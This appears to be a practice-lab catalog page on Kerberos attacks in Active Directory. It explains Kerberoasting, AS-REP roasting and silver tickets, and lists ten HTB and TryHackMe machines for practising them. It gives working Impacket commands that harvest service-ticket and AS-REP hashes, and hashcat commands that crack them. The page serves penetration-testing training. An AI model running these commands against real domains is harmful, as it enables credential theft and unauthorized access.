Kerberos Attacks: practice machines and key commands

By Daniel Dayan ยท Updated

Kerberos is the default authentication protocol in Active Directory, and several of its design details are abusable. Kerberoasting requests service tickets for accounts with a servicePrincipalName and cracks the encrypted part offline, which works for any domain user. AS-REP roasting targets accounts that do not require pre-authentication and needs no credentials at all if you can guess usernames. Forged tickets, such as silver tickets built from a service account hash, give access to one service without touching the domain controller. Clock skew breaks everything, so sync time with the DC before you start. After capturing a hash, pick the right hashcat mode (13100 for TGS, 18200 for AS-REP) and check whether the recovered password is reused elsewhere. The boxes listed here exercise these attacks from both the Linux and Windows side.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Impacket GetUserSPNs (Kerberoasting)

Request Kerberos TGS tickets for accounts with SPNs and output format for Hashcat / John.

impacket-GetUserSPNs {DOMAIN}/{USER}:{PASSWORD} -dc-ip {TARGET_IP} -request -outputfile hashes.kerberoast

Impacket GetNPUsers (AS-REP Roasting)

Query users with DONT_REQ_PREAUTH set to retrieve crackable Kerberos AS-REP hashes without creds.

impacket-GetNPUsers {DOMAIN}/ -usersfile users.txt -dc-ip {TARGET_IP} -format hashcat -outputfile asreproast.hashes

Hashcat Kerberos 5 TGS (Mode 13100)

Crack Kerberoasted Service Principal Name tickets to reveal service account passwords.

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt -O

Hashcat Kerberos 5 AS-REP (Mode 18200)

Crack AS-REP hashes captured for accounts with Kerberos preauthentication disabled.

hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt -O

Keep going

Kerberos Attacks machines (10)

10 Windows.

Listed when a machine has a catalog tag that is one of: kerberos, kerberoasting, as rep roasting, asreproast, asreproasting, silver ticket, golden ticket, pass the ticket. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.

Kerberos Attacks at a glance

Easy (3)

MachinePlatformOSTags
Forest IppSecAS-REP RoastingActive DirectoryBloodHoundDCSyncHTBWindowsAS-REP Roasting, Active Directory, BloodHound, DCSync
Sauna IppSecAS-REP RoastingActive DirectoryBloodHoundDCSyncHTBWindowsAS-REP Roasting, Active Directory, BloodHound, DCSync
VulnNet: RoastedKerberosAS-REP RoastingActive DirectoryGPOTHMWindowsKerberos, AS-REP Roasting, Active Directory, GPO

Medium (3)

MachinePlatformOSTags
Administrator IppSecKerberoastingActive DirectoryAD CSGolden-CertHTBWindowsKerberoasting, Active Directory, AD CS, Golden-Cert
Attacktive DirectoryKerberosAS-REP RoastingActive DirectorySecretsdumpTHMWindowsKerberos, AS-REP Roasting, Active Directory, Secretsdump
Scrambled IppSecKerberoastingKerberosSilver TicketActive DirectoryHTBWindowsKerberoasting, Kerberos, Silver Ticket, Active Directory

Hard (3)

MachinePlatformOSTags
Blackfield IppSecAS-REP RoastingActive DirectoryAnonymous-/-GuestBloodHoundHTBWindowsAS-REP Roasting, Active Directory, Anonymous-/-Guest, BloodHound
EnterpriseKerberosActive DirectoryZeroLogonSQLiTHMWindowsKerberos, Active Directory, ZeroLogon, SQLi
Mantis IppSecKerberosHTBWindowsKerberos

Insane (1)

MachinePlatformOSTags
Sizzle IppSecKerberoastingDCSyncPasswordless-loginStealing-hashesHTBWindowsKerberoasting, DCSync, Passwordless-login, Stealing-hashes

Related techniques

Related guides: HTB Pro Labs guide, HTB CPTS exam guide, HTB vs TryHackMe, HTB progress tracker.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.